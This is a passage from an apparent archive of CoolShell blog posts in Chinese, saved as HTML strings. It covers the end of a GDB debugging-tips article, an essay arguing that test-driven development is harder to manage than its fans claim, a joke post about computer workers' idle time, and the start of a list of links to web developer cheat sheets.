#然后就一路回车下去了\n\n</pre>\n<p>当然，这里只是给一个示例，表示程序的变量和gdb的变量是可以交互的。</p>\n<h4>七、x命令</h4>\n<p>也许，你很喜欢用p命令。所以，当你不知道变量名的时候，你可能会手足无措，因为p命令总是需要一个变量名的。x命令是用来查看内存的，在gdb中 “help x” 你可以查看其帮助。</p>\n<ul>\n<li>x/x 以十六进制输出</li>\n<li>x/d 以十进制输出</li>\n<li>x/c 以单字符输出</li>\n<li>x/i  反汇编 – 通常，我们会使用 <code>x/10i $ip-20 来查看当前的汇编（$ip是指令寄存器）</code></li>\n<li>x/s 以字符串输出</li>\n</ul>\n<h4>八、command命令</h4>\n<p>有一些朋友问我如何自动化调试。这里向大家介绍command命令，简单的理解一下，其就是把一组gdb的命令打包，有点像字处理软件的“宏”。下面是一个示例：</p>\n<pre class=\"EnlighterJSRAW\">(gdb) break func\nBreakpoint 1 at 0x3475678: file test.c, line 12.\n(gdb) command 1\nType commands for when breakpoint 1 is hit, one per line.\nEnd with a line saying just \"end\".\n&gt;print arg1\n&gt;print arg2\n&gt;print arg3\n&gt;end\n(gdb)</pre>\n<p>当我们的断点到达时，自动执行command中的三个命令，把func的三个参数值打出来。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1525.html\"><img alt=\"GDB 7.0 发布\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1525.html\">GDB 7.0 发布</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1502.html\"><img alt=\"高科技：GDB回溯调试\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1502.html\">高科技：GDB回溯调试</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4077.html\"><img alt=\"纯文本配置还是注册表\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4077.html\">纯文本配置还是注册表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2834.html\"><img alt=\"史上最烂的超级玛丽\" height=\"150\" src=\"../wp-content/uploads/2010/08/super_mario-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2834.html\">史上最烂的超级玛丽</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3345.html\"><img alt=\"140个Google的面试题\" height=\"150\" src=\"../wp-content/uploads/2010/12/googlequestion-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3345.html\">140个Google的面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2806.html\"><img alt=\"程序员版的凡客\" height=\"150\" src=\"../wp-content/uploads/2010/08/coolshell.programmer-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2806.html\">程序员版的凡客</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3643.html\">GDB中应该知道的几个调试方法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-2-12 TDD并不是看上去的那么美.html",
    "content": "<html><body><p>春节前的一篇<a href=\"https://coolshell.cn/articles/3609.html\" title=\"那些炒作过度的技术和概念\">那些炒作过度的技术和概念</a>中对敏捷和中国ThoughtWorks的微辞引发了很多争议，也惊动了中国ThoughtWorks公司给我发来了邮件想来找我当面聊聊。对于Agile的Fans们，意料之中地也对我进行了很多质疑和批评。我也回复了许多评论。不过，我的那些回复都是关于中国ThoughtWorks咨询师以及其咨询的方法的。我对Agile方法论中的具体内容评价的不是很多，所以，我想不妨讨论一下Agile方法论中的具体的实践（以前本站也讨论过<a href=\"https://coolshell.cn/articles/16.html\" target=\"_blank\">结对编程的利与弊</a>）。</p>\n<p>那么，这次就说说TDD吧，这是ThoughtWorks中国和Agile的Fans们最喜欢的东西了。我在<a href=\"https://coolshell.cn/articles/3609.html\" target=\"_blank\">原来的那篇文章</a>中，我把TDD从过度炒作的技术剔除了出去，因为我还是觉得TDD有些道理的，不过，回顾我的经验，我也并不是很喜欢TDD。我这篇文章是想告诉大家，<strong>TDD并没有看上去的那么美，而且非常难以掌控，并且，这个方法是有悖论之处的</strong>。</p>\n<h4>TDD简介</h4>\n<p><a href=\"http://en.wikipedia.org/wiki/Test-driven_development\" target=\"_blank\">TDD</a>全称Test Driven Development，是一种软件开发的流程，其由敏捷的“<a href=\"http://en.wikipedia.org/wiki/Extreme_programming\" target=\"_blank\">极限编程</a>”引入。其开发过程是从功能需求的test case开始，先添加一个test case，然后运行所有的test case看看有没有问题，再实现test case所要测试的功能，然后再运行test case，查看是否有case失败，然后重构代码，再重复以上步骤。其理念主要是确保两件事：</p>\n<ul>\n<li>确保所有的需求都能被照顾到。</li>\n<li>在代码不断增加和重构的过程中，可以检查所有的功能是否正确。</li>\n</ul>\n<p>我不否认TDD的一些有用的地方，如果我们以Test Case 开始，那么，我们就可以立刻知道我们的代码运行的情况是什么样的，这样可以让我们更早地得到我们实现思路的反馈，于是我们更会有信心去重构，去重新设计，从而可以让我们的代码更为正确。</p>\n<p>不过，我想提醒的是，<strong>TDD和Unit Test是两码子事儿</strong>。有很多人可能混淆了自动化的Unit Test（如：XUnit系例）和TDD的软件开发过程。另外，可能还会有人向鼓吹“<strong>TDD让你进行自顶向下的设计方式</strong>”，对此，请参阅本站的《<a href=\"https://coolshell.cn/articles/1654.html\" target=\"_blank\">Richard Feynman, 挑战者号, 软件工程</a>》——NASA的挑战者号告诉你自顶向下设计的危险性。</p>\n<h4>TDD的困难之处</h4>\n<p>下面是几个我认为TDD不容易掌控的地方，甚至就有些不可能（如果有某某TDD的Fans或是ThoughtWorks的咨询师和你鼓吹TDD，你可以问问他们下面这些问题）</p>\n<ul>\n<li><strong>测试范围的确定</strong>。TDD开发流程，一般是先写Test Case。Test Case有很多种，有Functional的，有Unit的，有Integration的……，最难的是Test Case要写成什么样的程度呢。<br/>\n<span id=\"more-3649\"></span>\n<p style=\"padding-left: 30px;\">\n</p><ul>\n<li style=\"text-align: left;\">如果写的太过High Level，那么，当你的Test Case 失败的时候，你不知道哪里出问题了，你得要花很多精力去debug代码。而我们希望的是其能够告诉我是哪个模块出的问题。只有High Level的Test Case，岂不就是Waterfall中的Test环节?</li>\n<li style=\"text-align: left;\">如果写的太过Low Level，那么，带来的问题是，你需要花两倍的时间来维护你的代码，一份给test case，一份给实现的功能代码。</li>\n<li style=\"text-align: left;\">另外，如果写得太Low Level，根据Agile的迭代开发来说，你的需求是易变的，很多时候，我们的需求都是开发人员自己做的Assumption。所以，你把Test Case 写得越细，将来，一旦需求或Assumption发生变化，你的维护成本也是成级数增加的。</li>\n<li style=\"text-align: left;\">当然，如果我把一个功能或模块实现好了，我当然知道Test 的Scope在哪里，我也知道我的Test Case需要写成什么样的程度。但是，<strong>TDD的悖论就在于，你在实现之前先把Test Case就写出来，所以，你怎么能保证你一开始的Test Case是适合于你后面的代码的</strong>？不要忘了，程序员也是在开发的过程中逐渐了解需求和系统的。如果边实现边调整Test Case，为什么不在实现完后再写Test Case呢？如果是这样的话，那就不是TDD了。</li>\n</ul>\n</li>\n</ul>\n<ul>\n<li><strong>关注测试而不是设计</strong>。这可能是TDD的一个弊端，就像《<a href=\"https://coolshell.cn/articles/2424.html\" title=\"十条不错的编程观点\">十条不错的编程观点</a>》中所说的一样——“Unit Test won’t help you write the good code”，在实际的操作过程中，我看到很多程序员为了赶工或是应付工作，<strong>导致其写的代码是为了满足测试的，而忽略了代码质量和实际需求</strong>。有时候，当我们重构代码或是fix bug的时候，甚至导致程序员认为只要所有的Test Case都通过了，代码就是正确的。当然，TDD的粉丝们一定会有下面的辩解：\n<p style=\"padding-left: 30px;\">\n</p><ul>\n<li>可以通过结对编程来保证代码质量。</li>\n<li>代码一开始就是需要满足功能正确，后面才是重构和调优，而TDD正好让你的重构和优化不会以牺牲功能为代价。</li>\n</ul>\n</li>\n</ul>\n<p style=\"padding-left: 30px;\">说的没错，但仅在理论上。操作起来可能会并不会得到期望的结果。1）“结对编程”其并不能保证结对的两个人都不会以满足测试为目的，因为重构或是优化的过程中，一旦程序员看到N多的test cases 都failed了，人是会紧张的，你会不自然地去fix你的代码以让所有的test case都通过。2）另外，我不知道大家怎么编程，我一般的做法是从大局思考一下各种可行的实现方案，对于一些难点需要实际地去编程试试，最后权衡比较，挑选一个最好的方案去实现。而往往着急着去实现某一功能，通常在会导致的是返工，而后面的重构基本上因为前期考虑不足和成为了重写。所以，在实际操作过程中，你会发现，很多时候的重构通常意味着重写，因为那些”非功能性”的需求，你不得不re-design。而re-design往往意味着，你要重写很多Low-Level的Test Cases，搞得你只敢写High Level的Test Case。</p>\n<p style=\"padding-left: 30px;\">\n</p><ul>\n<li><strong>TDD导致大量的Mock和Stub</strong>。相信我，Test Case并不一定是那么容易的。比如，和其它团队或是系统的接口的对接，或是对实现还不是很清楚的模块，等等。于是你需要在你的代码中做很多的Mock和Stub，甚至fake一些函数来做模拟，很明显，你需要作大量的 assumption。于是，你发现管理和维护这些Mock和Stub也成了一种负担，最要命的是，那不是真正的集成测试，你的Test Case中的Mock很可能是错的，你需要重写他们。</li>\n</ul>\n<p style=\"padding-left: 30px;\">也许，你会说，就算是不用TDD，在正常的开发过程中，我们的确需要使用Mock和Stub。没错！的确是这样的，不过，记住，我们是在实现代码后来决定什么地方放一个Mock或Stub，而不是在代码实现前干这个事的。</p>\n<ul>\n<li><strong>Test Case并没有想像中的那么简单</strong>。和Waterfall一样，Waterfall的每一个环节都依赖于前面那个环节的正确性，如果我们没有正确的理解需求，那么对于TDD，Test Case和我们的Code都会的错的。所以，TDD中，Test Case是开发中最重要的环节，Test Case的质量的问题会直接导致软件开发的正确和效率。<strong>而TW的咨询师和Agile的Fans们似乎天生就认为，TDD比Waterfall更能准确地了解需求。如果真是这样，用TDD进行需求分析，后面直接Waterfall就OK了</strong>。</li>\n</ul>\n<p style=\"padding-left: 30px;\">另外，某些Test Case并不一定那么好写，你可能80%的编程时间需要花在某个Test Case的设计和实现上（比如：测试并发），然后，需求一变，你又得重写Test Case。有时候，你会发现写Test Case其实和做实际设计没有差别，你同样要考虑你Test Case的正确性，扩展性，易读性，易维护性，甚至重用性。<strong>如果说我们开发的Test Case是用来保证我们代码实现的正确性，那么，谁又来保证我们的Test Case的正确性呢</strong>？编写Test Case也需要结对或是Code review吗？软件开发有点像长跑，如果把能量花在了前半程，后半程在发力就能难了。</p>\n<p>也许，TDD真是过度炒作的，不过，我还真是见过使用TDD开发的不错的项目，只不过那个项目比较简单了。更多的情况下，我看到的是教条式的生硬的TDD，所以，不奇怪地听到了程序员们的抱怨——“自从用了TDD，工作量更大了”。当然，这也不能怪他们，TDD本来就是很难把控的方法。这里送给软件开发管理者们一句话——“<strong>当你的软件开发出现问题的时候，就像bug-fix一样，首要的事是找到root cause，然后再case by case的解决，千万不要因为有问题就要马上换一种新的开发方法</strong>”。相信我，大多数的问题是人和管理者的问题，不是方法的问题。</p>\n<p>（<strong>全文完，转载请注明作者和出处，请勿用于商业用途</strong>）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8209.html\"><img alt=\"“单元测试要做多细？”\" height=\"150\" src=\"../wp-content/uploads/2012/09/fight-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8209.html\">“单元测试要做多细？”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5531.html\"><img alt=\"Test-Driven Development？别逗了\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5531.html\">Test-Driven Development？别逗了</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5143.html\"><img alt=\"在新浪微博上关于敏捷的一些讨论\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5143.html\">在新浪微博上关于敏捷的一些讨论</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4891.html\"><img alt=\"Bob大叔和Jim Coplien对TDD的论战\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4891.html\">Bob大叔和Jim Coplien对TDD的论战</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3778.html\"><img alt=\"敏捷水管工\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3778.html\">敏捷水管工</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3745.html\"><img alt=\"再谈敏捷和ThoughtWorks中国咨询师\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3745.html\">再谈敏捷和ThoughtWorks中国咨询师</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3649.html\">TDD并不是看上去的那么美</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-2-12 为啥搞电脑的会有这么多空闲时间？.html",
    "content": "<html><body><p><a href=\"https://coolshell.cn/wp-content/uploads/2011/02/reasons_why_people_who_work_with_computers_seem_to_have_a_lot_of_spare_time.png\"><img alt=\"\" class=\"aligncenter size-full wp-image-3673\" height=\"530\" src=\"../wp-content/uploads/2011/02/reasons_why_people_who_work_with_computers_seem_to_have_a_lot_of_spare_time.png\" title=\"reasons_why_people_who_work_with_computers_seem_to_have_a_lot_of_spare_time\" width=\"640\"/></a></p>\n<p>解释一下：</p>\n<p><span id=\"more-3672\"></span></p>\n<ul>\n<li>Web程序员—— “正在上传中……”</li>\n<li>系统管理员——“正在启动中……”</li>\n<li>黑客——“黑客脚本放出去了……”</li>\n<li>3D动画制作——“正在渲染中……”</li>\n<li>咨询顾问——“现在是你的问题了……”</li>\n<li>程序员——“正在编译中……”</li>\n</ul>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3672.html\">为啥搞电脑的会有这么多空闲时间？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-2-16 Web开发人员速查卡.html",
    "content": "<html><body><p>无论你是多牛的程序员，你都无法记住所有的东西。而很多时候，查找某些知识又比较费事。所以，网上有很多Cheat Sheets，翻译成小抄也好 ，速查卡也好，总之就是帮你节省 时间的。之前给大家介绍过<a href=\"https://coolshell.cn/articles/870.html\" rel=\"bookmark\" target=\"_blank\">Web设计的速查卡</a>、<a href=\"https://coolshell.cn/articles/2964.html\" rel=\"bookmark\" target=\"_blank\">25个jQuery的编程小抄</a>，还有<a href=\"https://coolshell.cn/articles/1566.html\" rel=\"bookmark\" target=\"_blank\">程序员小抄大全</a>，今天转一篇开发人员的速查卡，<a href=\"http://www.topdesignmag.com/all-the-cheat-sheets-that-a-web-developer-needs/\" target=\"_blank\">源文在这里</a>。下面的文章我就不翻译了。</p>\n<h2>HTML Cheat Sheet</h2>\n<p><img alt=\"\" height=\"127\" src=\"../wp-content/uploads/2011/01/1128.jpg\" title=\"1\" width=\"450\"/></p>\n<ul>\n<li><a href=\"http://www.html.su/\" target=\"_blank\">HTML/XTML in one page</a></li>\n<li><a href=\"http://refcardz.dzone.com/refcardz/html5-new-standards-web-interactivity\" target=\"_blank\">HTML5: The Evolution of Web Standards by James Sugrue</a></li>\n<li><a href=\"http://www.elizabethcastro.com/html/extras/xhtml_ref.html\" target=\"_blank\">(X)HTML Elements and Attributes</a></li>\n<li><a href=\"http://www.w3.org/QA/2002/04/valid-dtd-list.html\" target=\"_blank\">Doctype Declarations (DTDs)</a></li>\n<li><a href=\"http://www.digitalmediaminute.com/reference/entity/index.php\" target=\"_blank\">XHTML Character Entity Reference</a></li>\n<li><a href=\"http://downloads.gosquared.com/help_sheets/08/HTML-Help-Sheet-02.jpg\" target=\"_blank\">GoSquared HTML Help Sheet</a></li>\n</ul>\n<p><span id=\"more-3684\"></span></p>\n<p><strong> </strong></p>\n<h2>CSS Cheat Sheets</h2>\n<p><img alt=\"\" height=\"112\" src=\"../wp-content/uploads/2011/01/2104.jpg\" title=\"2\" width=\"451\"/></p>\n<ul>\n<li><a href=\"http://www.css.su/\" target=\"_blank\">CSS in one page</a></li>\n<li><a href=\"http://www.elizabethcastro.com/html/extras/cssref.html\" target=\"_blank\">CSS Properties and Values</a></li>\n<li><a href=\"http://www.blooberry.com/indexdot/css/propindex/all.htm\" target=\"_blank\">All CSS Properties Listed Alphabetically</a></li>\n<li><a href=\"http://www.dustindiaz.com/css-shorthand/\" target=\"_blank\">CSS Shorthand Guide</a></li>\n<li><a href=\"http://www.gosquared.com/liquidicity/archives/1010\" target=\"_blank\">GoSquared CSS Help Sheet</a></li>\n</ul>\n<h2>Adobe Flash Cheat Sheets</h2>\n<p><img alt=\"\" height=\"87\" src=\"../wp-content/uploads/2011/01/312.png\" title=\"3\" width=\"449\"/></p>\n<ul>\n<li><a href=\"http://michaeldoyle.eu/blog/wp-content/uploads/2009/10/flash-cheat-sheet.pdf\" target=\"_blank\">Flash Cheat Sheet</a></li>\n<li><a href=\"http://edutechwiki.unige.ch/en/Flash_CS3_keyboard_shortcuts\" target=\"_blank\">Flash CS3 Keyboard Shortcuts</a></li>\n</ul>\n<p><strong> </strong></p>\n<h2><strong>ASP Cheat Sheets</strong></h2>\n<h2><strong><img alt=\"\" height=\"106\" src=\"../wp-content/uploads/2011/01/430.jpg\" title=\"4\" width=\"451\"/><br/>\n</strong></h2>\n<ul>\n<li><a href=\"http://refcardz.dzone.com/refcardz/core-aspnet\" target=\"_blank\">Core ASP.NET</a></li>\n<li><a href=\"http://www.newdrp.com/Posters/Development/tabid/67/id/284/Default.aspx\" target=\"_blank\">ASP.NET MVC Framework Cheat Sheet</a></li>\n<li><a href=\"http://www.newdrp.com/Posters/Development/tabid/67/id/286/Default.aspx\" target=\"_blank\">ASP.NET MVC View Cheat Sheet</a></li>\n</ul>\n<h2>PHP Cheat Sheets</h2>\n<p><img alt=\"\" height=\"112\" src=\"../wp-content/uploads/2011/01/55.png\" title=\"5\" width=\"450\"/></p>\n<ul>\n<li><a href=\"http://www.dreamincode.net/forums/topic/35660-php-quick-reference-cheat-sheet/\" target=\"_blank\">PHP Basics Quick Reference Sheet</a></li>\n<li><a href=\"http://www.digilife.be/quickreferences/QRC/PHP%20Cheat%20Sheet.pdf\" target=\"_blank\">PHP Cheat Sheet</a></li>\n<li><a href=\"http://www.sk89q.com/content/2010/04/phpsec_cheatsheet.pdf\" target=\"_blank\">PHP Security Cheat Sheet</a></li>\n<li><a href=\"http://www.deformedweb.co.uk/php_variable_tests.php\" target=\"_blank\" title=\"PHP Variable and Array Tests (php version 5.1.6) by Barry Hunter\">PHP Variable and Array Tests</a></li>\n<li><a href=\"http://downloads.gosquared.com/help_sheets/08/PHP-Help-Sheet-01.jpg\" target=\"_blank\">GoSquared PHP Help Sheet</a></li>\n</ul>\n<h2>MySQL Cheat Sheets</h2>\n<p><img alt=\"\" height=\"89\" src=\"../wp-content/uploads/2011/01/65.png\" title=\"6\" width=\"450\"/></p>\n<ul>\n<li><a href=\"http://www.addedbytes.com/cheat-sheets/mysql-cheat-sheet/\" target=\"_blank\">MySQL Cheat Sheet by Dave Child</a></li>\n<li><a href=\"http://www.cheat-sheets.org/saved-copy/MySQL_QuickRef.pdf\" target=\"_blank\">MySQL Database Quick Reference</a></li>\n<li><a href=\"http://www.sqltutorial.org/sql-cheat-sheet.aspx\" target=\"_blank\">SQL Statements Cheat Sheet</a></li>\n</ul>\n<h2>JavaScript Cheat Sheets</h2>\n<p><img alt=\"\" height=\"118\" src=\"../wp-content/uploads/2011/01/75.png\" title=\"7\" width=\"451\"/></p>\n<ul>\n<li><a href=\"http://www.javascript.su/\" target=\"_blank\">JavaScript in one page</a></li>\n<li><a href=\"http://www.addedbytes.com/cheat-sheets/javascript-cheat-sheet/\" target=\"_blank\">JavaScript Cheat Sheet</a></li>\n<li><a href=\"http://wps.aw.com/wps/media/objects/2234/2287950/javascript_refererence.pdf\" target=\"_blank\">Addison-Wesley’s JavaScript Reference Card</a></li>\n</ul>\n<h2>jQuery Cheat Sheets</h2>\n<p><img alt=\"\" height=\"109\" src=\"../wp-content/uploads/2011/01/85.png\" title=\"8\" width=\"450\"/></p>\n<ul>\n<li><a href=\"http://colorcharge.com/jquery/\" target=\"_blank\">jQuery Cheatsheet</a></li>\n<li><a href=\"http://woork.blogspot.com/2009/09/jquery-visual-cheat-sheet.html\" target=\"_blank\">jQuery 1.3 Visual Cheat Sheet by Antonio Lupetti</a></li>\n<li><a href=\"http://refcardz.dzone.com/refcardz/jquery-selectors\" target=\"_blank\">jQuery Selectors by Bear Bibeault &amp; Yehuda Katz</a></li>\n</ul>\n<h2>Unicode Cheat Sheets</h2>\n<p><img alt=\"\" height=\"112\" src=\"../wp-content/uploads/2011/01/97.png\" title=\"9\" width=\"450\"/></p>\n<ul>\n<li><a href=\"http://www.utf.ru/\" target=\"_blank\">The Unicode Character Code</a></li>\n<li><a href=\"http://www.visibone.com/htmlref/char/cer.htm\" target=\"_blank\">HTML Characters, Numeric Codes, 0-65535 by Bob Stein</a></li>\n</ul>\n<h2>XML Cheat Sheets</h2>\n<p><img alt=\"\" height=\"111\" src=\"../wp-content/uploads/2011/01/106.png\" title=\"10\" width=\"450\"/></p>\n<ul>\n<li><a href=\"http://www.xml.su/\" target=\"_blank\">XML in one page</a></li>\n<li><a href=\"http://www.mulberrytech.com/quickref/XMLquickref.pdf\" target=\"_blank\">XML 1.0 Syntax Quick Reference by Mulberry Technologies</a></li>\n</ul>\n<h2>mod_rewrite and .htaccess Cheat Sheets</h2>\n<p><img alt=\"\" height=\"95\" src=\"../wp-content/uploads/2011/01/1111.png\" title=\"11\" width=\"455\"/></p>\n<ul>\n<li><a href=\"http://www.addedbytes.com/cheat-sheets/mod_rewrite-cheat-sheet/\" target=\"_blank\">mod_rewrite Cheat Sheet by Dave Child</a></li>\n<li><a href=\"http://www.thejackol.com/htaccess-cheatsheet/\" target=\"_blank\">htaccess Cheatsheet</a></li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4795.html\"><img alt=\"开源中最好的Web开发的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3013.html\"><img alt=\"一些非常有意思的杂项资源\" height=\"150\" 